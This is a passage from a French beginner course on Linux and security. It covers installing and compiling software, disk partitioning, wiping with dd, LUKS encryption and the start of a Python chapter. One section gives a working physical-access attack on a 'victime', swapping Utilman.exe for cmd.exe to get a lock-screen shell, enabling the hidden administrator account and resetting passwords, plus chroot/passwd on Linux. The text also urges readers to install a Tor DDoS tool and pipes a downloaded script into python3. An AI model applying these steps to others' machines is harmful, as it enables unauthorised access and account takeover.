suffisantes pour certaines tâches, qui certes n’arriveront pas dans l’immédiat face
à vous, mais qui pourront tôt ou tard vous poser problème. Le Web est donc votre
plus grand ami dans l’enrichissement de vos connaissances…

48
V. Compiler et installer manuellement des programmes
Maintenant que nous avons vu comment changer les permissions des fichiers, des
dossiers et des utilisateurs, il est temps de voir la dernière façon d’installer des
programmes, celle que nous utiliseront assez souvent en raison de la nature des
programmes que nous allons installer.

Dans un premier temps, certains programmes possèdent un script d’installation,


ce sont les plus simples à ajouter à votre logithèque. Trouvez le fichier et exécuter
le avec la syntaxe suivante :

$ ./[fichier]

./ suivi du nom du fichier permet de le lancer. Quelques fois, le développeur ne


spécifie pas le langage à utiliser et ./ sera donc inutile. Dans ces cas là, en
fonction de l’extension du fichier, il va falloir le lancer avec le bon langage (bonne
chance).

! Certains fichiers d’installation nécessitent des droits d’administrateur.

Si vous ne voyez pas de fichier d’installation, peut-être voyez-vous un fichier


nommé MakeFile. Ce dernier sert de base aux instructions de compilation, il suffit
donc de taper les commandes suivantes pour installer le programme :

# make && make install

De même, parfois ce sera un fichier dont le nom commencera par cmake qui sera
présent au sein du répertoire. Il faut donc utiliser le logiciel cmake :

$ mkdir build && cd build


$ cmake ..

Un fichier Makefile devrait être apparu dans le dossier build, alors, vous savez ce
qu’il vous reste à faire pour compiler !

Sur beaucoup de système, make et cmake ne sont pas installés par défaut,
vous savez ce qu’il vous reste à faire :
! # apt install make cmake

49
S’il n’y a pas de fichier d’installation, ni de quoi compiler avec make ou cmake,
peut-être y a-t-il de quoi faire avec python. Dans ces cas-là, il y a trois cas de
figure pour installer un logiciel écrit en python :
α Il ne nécessite aucune dépendance → il peut être directement exécuté
α Il possède un fichier requierements.txt
α Il possède un fichier setup.py

Abordons le premier cas, celui du fichier requirements.txt. Ce fichier texte pourvu


par le développeur contient toutes les dépendances python, à installer,
nécessaires à l’exécution du programme. Elles peuvent être installées avec pip.
Mais dans un premier temps, il faudra d’abord installer pip ;)

$ curl -sSL https://bootstrap.pypa.io/get-pip.py | python3

Pour les versions de Python supérieures à la 3.10, pip est préinstallé avec le
i langage de programmation. Pour les autres, vérifiez bien que la version de
Python sur laquelle vous vous apprêtez à installer pip est bien la bonne.

Installer un module avec pip (plus de détails sur ce point dans la partie Python) :

$ pip3 install [modules]

Installer les dépendances du fichier requierements.txt :

$ pip3 install -r requirements.txt

Les modules installés ne sont pas appliqués pour tous les utilisateurs. Cela
! signifie que si vous l’avez installé en root, votre utilisateur normal ne
bénéficiera pas de ces modules, et inversement.

La deuxième méthode que nous devions étudier, celle du fichier setup.py, est
encore plus simple. Il suffit d’exécuter :

$ python3 setup.py install && python3 setup.py build

Le programme peut avoir besoin des permissions d’administrateur. De plus,


! veuillez utiliser la bonne version de python pour procéder. Un programme
installé avec python3 ne fonctionnera pas avec python2 et inversement.

Maintenant que vous savez comment installer des dépendances, essayer un peu
d’installer ce logiciel https://github.com/r3nt0n/torDDoS, il permet de faire des
attaques DDOS en Python en passant par Tor. Bonne chance !

50
Gestion des disques
Ici, nous allons aborder la gestion des disques et autres périphériques sur Linux.
Cela s’inscrit dans une pratique plutôt défensive qu’offensive, même si l’on verra
que de mauvaises habitudes en matière de sécurisation des disques peuvent
amener à des exploitations plutôt faciles.

I. Un disque, qu’est-ce que c’est ?


Si vous suivez ce cours de la manière la plus assidue qui soit, vous vous rappelez
sûrement que nous avons déjà parlé des disques dans le premier chapitre de la
première partie. Pour installer Linux, il vous fallait graver une image iso sur une
clef USB puis démarrer sur cette dernière.
Depuis, nous n’avons pas vraiment pris le temps d’approfondir certaines notions
autours de ce simple mot : disque.
Un disque, ce n’est ni plus ni moins qu’un élément matériel sur lequel vont être
stockés des données. Il peut prendre la forme d’un disque dur, d’une clef USB,
d’une carte SD ou encore d’un SSD (remplaçant moderne du disque dur). Ces
données peuvent être lues, modifiées ou supprimées, à la guise de l’utilisateur qui
peut décider ou non de leur accession par d’autres personnes.
Vous l’avez compris, cela ressemble trait pour trait à un système de fichier, tout
simplement, car votre disque dur utilise le même fonctionnement au niveau de
l’organisation des fichiers.

51
On peut représenter tous ces fichiers et leur organisation comme un arbre,
comme vous pouvez le voir sur la page précédente. La racine de cet arbre est
appelée racine du système de fichier, il s’agit du dossier principal de votre
système Linux, celui sur lequel vont se greffer tous les autres dossiers.
Ces répertoires aux nomenclatures complexe sont en fait parfaitement
compréhensibles par tous. Par exemple, le dossier /bin contient les fichiers
binaires de votre ordinateur, c’est-à-dire les exécutables ; /sbin fait exactement le
même travail, sauf qu’ici, les exécutables sont mis à la disposition du super-
utilisateur. L’un des dossiers le plus détesté par les utilisateurs d’Arch Linux est
/etc, c’est dans ce dernier que se trouvent tous les fichiers de configurations des
logiciels présents sur la machine.
Lorsque vous utilisez une clef USB, votre système va monter le matériel dans le
dossier /mnt (/media/utilisateur pour les systèmes basés sur Debian comme
Ubuntu). La racine du disque sera alors le dossier /mnt.

La grande force d’utilisation des disques réside dans le transfert de données et la


libération de mémoire. Vous savez vous-mêmes que se trimbaler avec 3 To de
films et de musiques, téléchargés de la manière la plus légale possible sur
Internet, n’est peut-être pas la chose la plus intelligente à faire.
Mais ce qui rend leur utilisation encore plus agréable et le partitionnement.

II. Partitions et types de partition


Rappelez-vous du premier chapitre que vous aviez lu sur ce guide. Vous étiez
excités comme une puce et prêt à formater votre disque en ignorant les boîtes
d’informations vous expliquant que toutes vos données allaient être perdues.
Lorsque vous avez installé Linux, vous avez partitionné votre disque sans
vraiment le savoir.

Il est fort probable que votre disque ressemble au mien, c’est-à-dire plusieurs
partitions de différents types (ici, deux).

52
Mais comme vous pouvez le voir sur l’image juste en dessous, à chaque disque,
sa table de partition propre à lui. Ici, c’est celle de ma clef USB possédant le
système Ventoy dessus (permet de mettre plusieurs images disque bootable sur
le même disque) :

Bien découper son disque permet d’organiser les informations dans des cases
bien distinctes en fonction de leurs natures.

Avant toute opération sur les disques, vérifier toujours ce que vous vous
! apprêtez à faire. Certaines opérations peuvent endommager vos disques,
voir pire, signer l’arrêt définitif de votre machine.

Parmi les types de partitions les plus utilisées, on trouve :


α NTFS : New Technological File System, Système de fichier inventé par
Microsoft dans le courant des années 90. Peu pratique et exclusif à
Microsoft, le système jouit d’une assez mauvaise réputation en raison des
demandes de fractionnement du disque récurrentes.
α Ext4 : Extended File System 4, digne successeur de ext3 dont il a pris la
relève en 2006, c’est le système le plus utilisé sur Linux (vous pouvez voir
que je l’utilise sur mon disque dur.
α FAT32 : File Allocation Table 32 bits, successeur de FAT16 et FAT12. Système
inventé par Microsoft en 1996, aujourd’hui non breveté
α Btrfs : B-tree File System ; propulsé par les OS GNU/Linux, il doit être le
successeur de ext4, bien qu’il ne soit pas encore adopté par la majorité des
distributions.
α SWAP : espace d’échange, système utilisé pour faire la liaison entre la RAM
et le disque dur. Très utilisé sur les systèmes ayant très peu de mémoire
vive (< 4 Go de RAM) car elle permet d’éviter les problèmes de type OOM
(Out Of Memory). Si jamais vous rencontrez tout de même ce problème, pas
d’inquiétude, Linux possède un programme nommé kswapd0 qui sert
d’OOM-killer, c’est-à-dire un programme tuant les processus utilisant la RAM
en masse.

53
Ces types de partitions peuvent être manipulés avec un logiciel de gestion des
partitions. Il en existe plusieurs parmi lesquels :
α fdisks
α gdisk
α Gparted : GNOME partitions editor

C’est sur ce dernier que nous allons nous pencher, les deux précédents étant
pratiques, mais moins intuitifs que Gparted. Installé de base sur les systèmes
possédant l’interface GNOME, il peut tout de même être ajouté avec la
commande :

# apt install gparted

Ce qui est pratique avec ce logiciel, c’est qu’il existe également sous la forme
d’une image disque : https://gparted.org/download.php.
Lancez le programme depuis le menu des applications, ou avec la commande :

# gparted

Vous vous trouvez en face de cette interface, pas avec les mêmes informations :

Vous ne devez sûrement pas comprendre grand-chose à ce que vous voyez.


Certains mots comme fat32 ou ext4 vous sont maintenant familier, mais que sont
ces histoires de sda, de dossier /dev ou de EFI ?

54
III. Disques et nomenclature des périphériques
Sur Linux, les disques détectés sont présents dans le dossier /dev. Ils sont sujets à
une nomenclature bien particulière, qui n’est pas à connaître par cœur, mais qui
vous permettra de connaître le type de disque et le numéro de partition que vous
allez modifier.
Les règles sont très strictes et concernent quatre grands types de périphériques :

α SCSI : concerne les disques durs (HDD et SSD seulement), clef USB et, en
règle générale, tout type de stockage capable de répondre aux commandes
SCSI ou ATA (utiliser un câble SATA pour un HDD en fait un SCSI)
Les règles sont alors les suivantes :
γ Le nom du disque commence par sd
γ Une lettre lui est attribué (a, b, c, etc) désignant le numéro du disque.
Ainsi, sda est le premier SCSI découvert, sdb, le deuxième.
γ Un nombre suit directement la lettre, elle désigne le numéro de la
partition. Par exemple, sda2 renvoie à la deuxième partition du premier
disque découvert ; sde7 renvoie à la septième partition du cinquième
disque découvert par la machine.
α NVMe : concerne les SSD NVMe (les plus rapides)
Les règles de nomenclature sont alors les suivantes :
γ Le nom du disque commence par nvme
γ Un numéro est attribué au disque, la liste commence par 0
γ On ajoute la lettre n puis le numéro du contrôleur, la liste commence à 1
cette fois-ci (ex : nvme3n2 est le quatrième SSD NVMe découvert sur le
controlleur numéro 2).
α MMC et SCSI ODD : concernent respectivement les cartes SD et les CD, les
règles sont assez similaires.
Les règles sont les suivantes :
γ mmcblk suivi du numéro d’identification du MMC (0 pour le premier
identifier, 4 pour le cinquième)
γ Sr suivi du numéro d’identification du ODD (0 pour le premier identifier, 7
pour le huitième)
Pour les trois dernières catégories (NVMe, MMC et ODD), l’identification de la
partition se fait avec l’ajout de la lettre p, suivie du numéro de la partition,
commençant à 1.

55
Par exemple, mmcblk5p2 est la deuxième partition du 6 MMC détecté par le
système; nvme3p1 est la première partition du quatrième SSD NVMe découvert
par le système.
Afin d’analyser proprement nos disques, plutôt que d’ouvrir Gparted pour
analyser, nous pouvons nous servir de la commande suivante :

$ lsblk -f

Voici le résultat chez moi :


NAME   FSTYPE   FSVER LABEL UUID                                 FSAVAIL FSUSE% MOUNTPOINT
loop0  squashfs 4.0                                                    0   100% /snap/bare/5
loop1  squashfs 4.0                                                    0   100% /snap/core/12725
loop2  squashfs 4.0                                                    0   100% /snap/core18/2253
loop3  squashfs 4.0                                                    0   100% /snap/core18/2284
sda                                                                              
├─sda1 vfat     FAT32       C9FB-13DF                             505,8M     1% /boot/efi
└─sda2 ext4     1.0         063fa01b-6f4d-4ee0-a6bd-dd7643d4ba03   56,9G    46% /

Vous remarquerez que plusieurs partitions nommées loopX sont présentes sur
mon système. Ces périphériques sont en fait des dossiers montés comme des
disques par le gestionnaire de paquet snap, vous pouvez d’ailleurs voir à quel
dossier correspond quelle partition.

IV. Créer, Formater et Supprimer des partitions


Je dispose d’un petit disque dur (HDD) chez moi, et je n’ai jamais vraiment fait le
ménage dessus. Après l’avoir branché au système, il est directement détecté et
renommé en sdb, voici sa table de partitions :

$ lsblk -f

NAME   FSTYPE   FSVER LABEL     UUID


sdb
├─sdb1
├─sdb2 vfat     FAT32 usbboot   02D3-7915
├─sdb3 ext4     1.0   isodevice 47ef231c-bb55-4cdb-b4d4-894471275375
├─sdb4 vfat     FAT32           B0F5-52BF
├─sdb5 ext4     1.0   casper-rw 208bfe84-2590-433d-b56c-e37ebc25069b
└─sdb6 ext4     1.0             116908ed-368c-4b76-ab96-6f17c5b31698

C’est un vrai foutoir ! À l’aide de Gparted, je vais vous montrer comment faire de
l’ordre sur ce disque. L’objectif sera de n’avoir à terme que deux partitions, une
de type FAT32 et l’autre de type ext4.

56
Sur l’écran de Gparted, on sélectionne notre disque dans le menu déroulant en
haut à droite.

Faites bien attention à sélectionner le bon disque. Une seule mauvaise


! opération sur votre disque dur et toutes vos données seront supprimées
définitivement.

Vérifiez bien que toutes les partitions sont démontées avant de faire quoi que ce
soit, car une partition encore montée ne peut pas être modifiée ou supprimée.
Faites un clic droit sur le nom d’une partition, si le bouton Unmount (Démonter)
apparaît, alors c’est que la partition est encore montée, il vous suffit de cliquer
sur ledit bouton pour l’éjecter.
Nous allons supprimer toutes les partitions à l’exception de sdb4, que nous allons
déplacer au début du disque. Pour ce faire, cliquez sur la partition qui vous
intéresse, puis sur le bouton Delete (Supprimer).

57
Ensuite, nous allons donc déplacer sdb4 en tant que première partition. De la
même manière que les autres opérations : clic droit sur la partition, sélectionnez
Resize/Move (Redimensionner/Déplacer) et déplacez la partition au début du
rectangle représentant votre disque.

Redimensionner ou déplacer une partition sont des actions pouvant prendre


! un temps extrêmement lent, durant lequel votre système tournera à pleine
puissance. Cette opération peut causer des arrêts intempestifs du système.

Puis, nous avons à créer une dernière partition sur l’espace restant. Touchez la
zone grise en y faisant un clic droit, puis sélectionnez New (Nouveau) dans le
menu déroulant qui vient d’apparaître. Dans la fenêtre qui vient de se positionner
face à vous, choisissez la taille de la partition à créer, ici, elle fera 450 GiB et
validez l’action.
En bas de l’écran, se trouve un récapitulatif des actions sur les disques à effectuer
pour Gparted. Vérifiez bien que tout y est en ordre avant de valider la transaction,
car tout dommage est irréparable.

Dans la petite fenêtre vous donnant un aperçu de ce que fait Gparted, vous
pouvez voir la syntaxe de la commande qu’est en train d’utiliser le logiciel, en
l’occurrence ici, mkfs.ext4. Les commandes permettant de partitionner un disque
sont fournis par le programme mkfs, si vous voulez plus d’informations sur son
utilisation, vous connaissez la rangaine :

$ man mkfs

Enfin bref, nous parlons de disque depuis tout à l’heure, mais quel rapport y a-t-il
entre ces choses et la sécurité informatique ?
Eh bien, comme tout matériel, un disque doit être protégé si vous voulez garder
vos données à l’abri des regards étrangers, cela peut permettre d’éviter certaines
mauvaises surprises. En effet, un disque mal protégé peut amener à une
récupération de vos données par une tierce personne, voir pire, un accès à la
machine par retrait du mot de passe sur Windows, ou avec chroot sur Linux ; et
tout ceci car vous n’aurez pas pris la peine de chiffrer vos disques.

58
V. Sécurisation du disque
Nous allons donc apprendre à chiffrer nos disques. Cette opération peut s’avérer
lourde pour le processeur et pourrait ralentir considérablement votre expérience
sur Linux. Ainsi, chiffrer votre disque est une chose assez stupide à faire, à moins
que vous ne viviez dans la plus profonde des paranoïas et que n’importe quelle
personne que vous avez la possibilité de rencontrer au quotidien, est un pirate
potentiel envoyé par le parti communiste chinois pour trouver des bonnes raisons
à votre bannissement dans un camp de travail forcé à fabriquer des baskets toute
la journée.
Nous en profiterons pour utiliser les commandes énoncées dans la partie
précédente, ce serait bête que vous perdiez la main sur ce bon vieux terminal…

Dans un premier temps, il va donc nous falloir un disque sur lequel nous inscrirons
nos données ultra-confidentielles. J’utiliserai une clef USB basique que mon
ordinateur a identifié comme /dev/sdb. Il faut refaire le système de partitions de
telle sorte que celle que nous allons utiliser pour stocker nos informations soit au
format ext4. De mon côté, je vais d’abord effacer les partitions présentes sur la
clef. Liston les pour nous donner un aperçu de la situation :

# fdisk -l
Device        Start      End  Sectors  Size Type
/dev/sdb1      2048  2189311  2187264    1G Linux filesystem
/dev/sdb2   2189312  7131135  4941824  2,4G Linux filesystem
/dev/sdb3   7131136 20981759 13850624  6,6G Microsoft basic data
/dev/sdb4  20981760 22091775  1110016  542M Microsoft basic data
/dev/sdb5  22091776 31258623  9166848  4,4G Linux filesystem

Nous allons donc effacer chacune de ces partitions, une par une, à l’aide de la
commande dd. Faites bien attention quand vous l’utilisez, tout comme gparted, ce
programme peut grandement toucher l’intégrité de vos disques, ce n’est d’ailleurs
pas pour rien si dd traîne le petit surnom de Disk Destroyer.
La syntaxe pour utiliser dd comprend un disque que l’on souhaite lire et un disque
destination. En complément, nous allons lui ajouter une vitesse de transmission
ainsi qu’une directive affichant le statut de la commande (l’état du disque à un
instant t, cela permettra de savoir où en est le processus).

! La vitesse d’écriture de dd est propre à chaque système. Ici, nous nous


contenterons d’un mégabit par seconde, ce qui conviendra à la plupart.

59
En tant que fichier d’entrée nous utiliserons /dev/zero, et en guise de sortie, notre
clef USB, ou du moins, son nom attribué :

# dd if=/dev/zero of=/dev/sdb bs=1M status=progress

i À savoir que la commande est la même si vous ne voulez effacer qu’une


seule partition. Il faudra juste spécifier son numéro après le nom du disque.

Avoir un disque nommé /dev/zero présent sur votre machine peut vous paraître
bizarre, mais il s’avère cependant très pratique dans ce genre de cas. En effet, ici
dd a seulement copié le contenu de zero dans sdb, le premier étant infini et le
dernier fini, la commande devrait vous retourner une erreur à la fin de l’exécution
vous annonçant qu’il n’y a plus assez de place sur le disque pour y écrire quelque
chose. C’est tout à fait normal, ignorez cette indication.
D’ailleurs, vous pouvez vous-même lire le contenu de /dev/zero avec la
commande cat. Il va falloir ajouter l’option -v qui permet l’utilisation de la notation
carret, c’est-à-dire, l’affichage des caractères spéciaux (Retour à la ligne ou de
chariot, tabulation, etc) :

$ cat -v /dev/zero

La commande devrait vous renvoyer une succession de ^@, ce qui correspond à


un caractère vide (0 en ASCII).

Si par « effacer un disque » vous vouliez dire « détruire toute trace de

i données pour que personne ne puisse les consulter », utilisez le disque


urandom à la place de zero. Et si la paranoïa a vraiment gagné votre esprit,
vous n’avez qu’à le bourrer 7 fois de données aléatoires, comme aux US.

Ainsi, notre disque est enfin épuré de toutes nos cochonneries, et cela peut se
vérifier en réutilisant la commande fdisk ; elle n’affichera plus du tout la table des
partitions de sdb, car ces dernières viennent d’être supprimées par des bits de
valeur nul (0).
Nous allons maintenant créer deux partitions sur notre disque :
α Une que nous remplirons de données aléatoires pour brouiller les logiciels
de reconnaissances qui seront donc incapables de briser notre chiffrement.
α Une pour écrire nos données, l’endroit où elles seront chiffrées.
Pour ce faire, nous allons utiliser de nouveau fdisk, mais cette fois-ci dans un
autre but, celui de réagencer la table des partitions dans un ordre qui nous
arrange.

60
Ouvrez le disque avec fdisk :

# fdisk /dev/sdb

Une ligne s’affiche vous proposant les divers options du programme. Tapez [d]
puis [Entrée], cela aura pour effet de supprimer toutes traces des anciennes
partitions, s’il y en avait encore.
Continuons en tapant [n] pour créer une nouvelle partition, puis [p] pour créer une
partition primaire (je ne m’attarde pas sur la différence entre partitions primaires
et étendues, mais pour faire court, le deuxième type peut contenir des sous-
partitions en son sein). Le programme vous propose d’affubler votre partition d’un
numéro – ce sera le même que celui qui se trouvera après le nom du disque dans
le dossier /dev – prenez celui par défaut, il fera très bien l’affaire.
Validez la taille de début, nous n’allons pas nous mettre à déplacer inutilement
des données, puis donnez-lui une taille de fin de +2G (correspond à une taille
finale de 2 GiB, soit deux fois 1 024 Mo).
Recréez en une dans la foulée avec la touche [n] et un appui répété sur [Entrée],
tous les paramètres seront mis par défaut, ce qui aura pour effet de créer une
partition primaire prenant la place restante sur le disque.

Procédons maintenant au formatage de la partition numéro 2 en ext4 à l’aide de


la commande mkfs, pour rappelle, c’est celle qui contiendra nos données :

# mkfs.ext4 -c /dev/sdb2

Ici, on ajoute le paramètre -c afin d’analyser l’intégrité de notre disque, on parle


alors de vérification des « secteurs défectueux » (« badblocks » en anglais).
Nous avons maintenant un système de fichier opérationnel, mais toujours
vulnérable de par sa facilité d’accès pour tous. Nous allons donc utiliser le paquet
cryptsetup afin de chiffrer les partitions désirées :

# apt install cryptsetup

La commande s’exécute de cette manière :

# cryptsetup luksFormat /dev/sdb2

Le programme vous demande de taper YES en lettre MAJUSCULE (il faut croire que
chiffrer un disque est une action plus dangereuse que désinstaller l’ensemble des

61
paquets présents sur le système), puis de choisir un mot de passe. C’est avec ce
mot de passe que vous déverrouillerez votre disque la prochaine fois que vous
aurez à l’utiliser.
Ça y est ! Votre disque est enfin parfaitement sécurisé.
Pour récupérer les données qu’il y a à l’intérieur (et les modifier ou en ajouter), il
vous suffit de créer une copie non chiffrée du disque avec la commande suivante :

# sudo cryptsetup LuksOpen /dev/sdb2 [nom]

Cela va créer une partition nommée [nom] dans le dossier /dev/mapper. Si besoin,
vous devriez peut-être la formater, alors vous n’aurez qu’à faire :

# mkfs.ext4 [cheminPartition]

Voilà, il ne vous reste plus qu’à essayer de votre côté, vos données seront
totalement protégées face aux regards des autres.
Normalement, si tout se passe bien, votre système devrait, s’il est bien ficelé,
monter automatiquement la nouvelle partition déchiffrée pour que vous puissiez y
accéder dans votre gestionnaire de fichier. Cependant, tous ne le font pas et des
problèmes subsistent quant à l’implémentation de LUKS sur tous les systèmes. Il
va donc falloir monter le disque manuellement.
Pour ce faire, créez un dossier qui sera le point de montage de la partition, sa
racine sur le système si vous préférez :

# mkdir /mnt/[dossier]

i Note : sur les systèmes basés sur Debian, les périphériques sont souvent
montés dans le dossier /media/nomDutilisateur/[dossier]

À l’aide de mount, on décrit où la partition doit être prise en charge :

# mount /dev/[partition] /mnt/[dossier]

Rendez-vous ensuite dans /mnt/[dossier] pour consulter vos fichiers, que ça soit
par le terminal ou par le gestionnaire de fichier de votre interface graphique.
Pour éjecter la partition, vous n’aurez qu’à retaper :

# umount [partition]

62
VI. Exploitation d’un système non sécurisé
Maintenant que nous avons vu comment sécuriser entièrement un disque, voyons
ce qui peut arriver à un système qui n’a pas eu la chance de vous avoir comme
hôte. Bien évidemment, je vous avais précisé qu’il était inutile de chiffrer
l’entièreté de votre disque par souci de sécurité, car cette méthode n’allait que
ralentir votre système pour vous protéger d’un cas qui arrive très rarement.
Je vais tout de même vous présenter cette méthode d’accès au système lorsque
la machine se trouve physiquement face à vous. Téléchargez l’image disque live
d’une distribution Linux, flashez là, éteignez Windows entièrement (Appuyez sur
[Shift] simultanément à la touche d’arrêt de Windows, et non le bouton physique
appartenant à la machine).
Une fois arrivé sur Linux, listez les disques présents sur la machine avec fdisk :

# fdisk -l

Retrouvez le nom du disque dur de la machine à exploiter, si besoin, référez-vous


une nouvelle fois à la partie sur la nomenclature des disques. Personnellement, la
machine que j’ai possède les disques suivants :

Device             Start        End   Sectors   Size Type


/dev/nvme0n1p1      4096     618495    614400   300M EFI System
/dev/nvme0n1p2    618496  981751961 981133466 467,8G Linux filesystem
/dev/nvme0n1p3 981751962 1000206899  18454938   8,8G Linux swap

Il va falloir ensuite monter la partition pour y accéder, vous savez donc ce qu’il
vous reste à faire :

# mkdir /mnt/[dossier]

# mount [partition] /mnt/[dossier]

Remplacez [partition] par celle occupant le plus de place, il y a de forte chance


que cela soit celle contenant le dossier Windows, sinon, retentez votre chance ou
alors renseignez-vous sur le système de votre victime.
Rendez-vous dans le dossier Systeme32, et, plutôt que de tout supprimé comme
des gros bourrins avide de souffrance, on va se contenter de renommer le fichier
Utilman.exe. Ce dernier est le programme présent sur l’écran de verrouillage de
Windows, mais oublié de tous en raison de son utilité très faible, car il s’agit tout
simplement du gestionnaire d’ergonomie. Renommez le en Utilman.exe.old :

# mv Utilman.exe Utilman.exe.old

63
Nous allons faire de même avec cmd.exe, mais en gardant l’original sous la main,
c’est plus chic pour l’utilisateur de la machine qui pourra encore accéder à son
invite de commande :

# cp cmd.exe Utilman.exe

Voilà, dès que vous aurez redémarré la machine, vous n’aurez qu’à appuyer sur le
bouton d’ergonomie pour faire apparaître une invite de commande, ce qui est
déjà bien assez pour faire ce que vous voulez. Il se peut que, bien gourmand, vous
décidiez d’en plus avoir accès au bureau de l’utilisateur victime. Dans l’invite de
commande, il va donc falloir taper :

C:\> net user administrateur /active:yes

Redémarrez l’ordinateur, un utilisateur au nom d’administrateur devrait avoir été


ajouté à la liste. Connectez-vous sur son profil, il n’y a normalement pas de mot
de passe. Une fois sur ce bureau ô combien secret, rendez-vous dans le panneau
de configuration (si la gestion des utilisateurs n’a pas était modifiée depuis le jour
où ces lignes furent écrites) pour changer les mots de passe des utilisateurs, et
ainsi vous connecter à leur place.
Une fois que vous aurez fini de jouer, vous n’aurez qu’à désactiver le compte
administrateur « secret » avec la commande :

C:\> net user administrateur /active:no

Si vous êtes en plus de ça un homme civilisé ayant une bonté dépassant toute
mesure, vous lui remettriez Utilman.exe en ordre pour qu’il puisse de nouveau
jouir de cette option inutile

De la même manière, il est tout à fait possible d’accéder à un système Linux avec
chroot, il suffit de viser le point de montage de la partition système :

# chroot /mnt/[dossier]

Selon vos besoins, vous avez la possibilité de changer le mot de passe et de


rentrer celui qui vous conviendra pour garder un accès à la machine :

# passwd [mdp]

Je vous vois déjà hurler et m’insulter en pleurant, car votre système n’est pas
assez sécurisé à votre goût. Si je vous ai déconseillé de chiffrer l’entièreté de
votre disque, je ne saurai que trop vous encourager à partitionner votre disque
lors de l’installation pour chiffrer des partitions précises.

64
VII. Forensic et disques

65
Point de Passage : Monter Linux soit même
De la même manière que plus haut, il est temps de vous exercer un peu pour voir
si toutes les notions sont bien rentrées. Cette fois-ci, vous aurez besoin d’un peu
de matériel, mais ce n’est pas grand-chose. Il vous faudra un périphérique de
stockage (ex : clef USB), peu importe sa nature, tant qu’il fait à minima 30 GB.

Vous l’aurez compris, dans cet exercice, nous allons monter Linux de A à Z. Enfin,
pas moi, je l’ai déjà fait dans ma vie, mais ce n’est pas votre cas à vous  ! Afin de
ne pas occasionner de dégâts à notre système actuel, nous allons stocker tout ça
sur le périphérique de stockage externe. De même, passez votre chemin si votre
ordinateur a plus de 10 ans d’âges, il risque de ne pas tenir le choque de la
compilation pouvant durer plusieurs heures…

Ici, pas d’image disque a flashé, ni de disque à cloner depuis un fichier, tout se
fera à la main, comme à l’ancienne. Un petit livre est mis à votre disposition, ainsi
qu’un fichier présentant des sources avec des liens ; ce sont vos seules armes
pour affronter cette épreuve horrible qui vous attend.

Voici le lien : http://fr.linuxfromscratch.org/view/lfs-systemd-stable/.

Vous êtes aujourd’hui tout à fait capable de monter une machine depuis rien du
tout, et faire en sorte que tout roule, que vous puissiez démarrer dessus. Ne
perdez pas espoir ;) L’objectif, ici, est de mettre en pratique vos connaissances et
d’en gagner de nouvelles, et ce, afin de connaître sur le bout des doigts le
fonctionnement d’un système Linux. Voilà un rendu final pris sur Internet :

Crédit photo :
https://www.reddit.com/r/unixporn/comments/dgqmlp/sway_there_isnt_enough_linux_from_scratch_around/

66
Automatisation avec Python

Dans ce chapitre, vous allez maîtriser un de vos premiers langages de


programmation : Python. Pourquoi celui-ci et pas un autre ? Eh bien tout
simplement parce qu’il est :

α Facile à maîtriser pour un débutant n’ayant aucune connaissance préalable


en programmation.
α Pratique et transportable : N’importe quelle machine possédant Python
pourra exécuter votre code.
α Modulable : Aucun besoin de réinventer la roue systématiquement, d’autres
l’ont déjà fait, vous pouvez la réutiliser.

Alors lançons-nous à la découverte de ce langage aux allures faciles mais dont la


complexité pouvant jaillir de ses mécanismes en surprendra plus d’un !

Avant toutes choses, il est primordial de posséder Python dans sa dernière version
(à l’heure où j’écris, la 3.10). Il est possible que depuis la rédaction de ce livre,
bien des versions aient été créées. Pas d’inquiétude à avoir à ce propos, les
grandes lignes resteront les mêmes. Pour installer Python :

# apt install python

I. À l’assaut de l’interpréteur
Lançons l’interpréteur Python :

$ python

Nous nous retrouvons en face d’une sorte de console où le dollar est remplacé par
des chevrons :

>>>
Assez austère à première vue, l’interpréteur vous permettra d’essayer des bouts
de code très rapidement sans avoir à exécuter l’entièreté d’un script. Nous
pouvons dès maintenant rentrer nos premières lignes de code, les plus
importantes, les opérations arithmétiques de base :

>>> 3+2
5

67
>>> 10 - 5
5

>>> 9 * 8
72

>>> 5 / 2
2.5

Il existe même un opérateur qui va vous paraître un peu inutile au début, voir
même, incompréhensible : le modulo. Il renvoie le reste d’une division euclidienne
entre le dividende et le diviseur :

>>> 5 % 2
1
>>> 35 % 3
2

Faire des calculs est un plus, mais le mieux est encore de pouvoir stocker les
valeurs quelque part afin de les réutiliser plus tard. C’est pourquoi l’informatique a
accouché d’un concept fort utile issue des mathématiques, les variables.

Ce sont de petites cases de la mémoire de votre ordinateur, que vous allez


affubler d’un nom et où vous allez y inscrire une valeur. En python, on distingue
plusieurs types de valeurs qui peuvent être mises au sein d’une variable :
α Les nombres : entiers, négatifs, flottants (à virgule)
α Les chaînes de caractères : appelées « string » en anglais, ce mot ne fait
pas référence aux sous-vêtements d’une dame aux vertus douteuses, mais
plutôt à un caractère simple (une lettre, un symbole, ou même un chiffre sur
lequel on exécuterait aucune opération mathématique) ou un mot, voir une
phrase et pour les plus fous, un texte entier (il n’y a pas vraiment de limite).
α Les booléens : Vrai ou Faux (« True », « False » en anglais), type ne pouvant
prendre qu’une des deux valeurs. Très pratique lors de l’utilisation de
conditions.
α Les listes : plusieurs variables mis au sein d’une même variable.
Pour déclarer une variable en python, on note son nom, puis on lui assigne une
valeur à l’aide du symbole égal :

>>> maVariable = 3

Par la suite, cette valeur est entrée en mémoire durant toute l’exécution du
programme. Les variables sont volatiles, c’est-à-dire que la mémoire sera effacée

68
à la fin de l’exécution du programme. On dit alors que cette mémoire est cache ou
volatile, ce qui lui donne l’avantage d’être très rapide, mais assez limité en taille.
Veillez donc à trouver d’autres méthodes si vous vouliez sauvegarder
définitivement vos données issues du script.

On peut donc très facilement avoir accès à la valeur mis en mémoire en tapant le
nom de la variable :

>>> maVariable
3

De même, les opérations arithmétiques sont tout à fait possibles avec les
variables, que ça soit pour l’assignation de valeur (faire en sorte qu’une variable a
porte la valeur d’une variable b) ou juste pour l’obtention d’un résultat :

>>> x = 2 + 3
>>> y = x * 4
>>> y
20

Ces lignes sont assez intéressantes pour l’esprit qui cherche à se divertir, mais ce
qui nous intéresse, c’est l’écriture de script plus complexe, ceux où nous pourront
rentrer une myriade d’informations à la fois. Alors sautons le pas :)

II. Notre premier programme


Pour écrire nos programmes python, nous aurons besoin d’un éditeur de texte. SI
vous n’en avez pas, je vous conseille de retrouver la partie sur l’édition dans le
chapitre sur Linux.

Dans un deuxième temps, il n’est pas obligatoire de mettre le spécificateur


d’interpréteur pour exécuter le fichier (il ne le faut que si le fichier est exécuté
comme vous exécuteriez un script bash). La commande pour lancer nos scripts
sera donc :

$ python nomScript.py

Commençons donc à écrire notre premier programme, il s’agira de demander à


l’utilisateur son nom, puis de l’afficher, mais comment faire ?

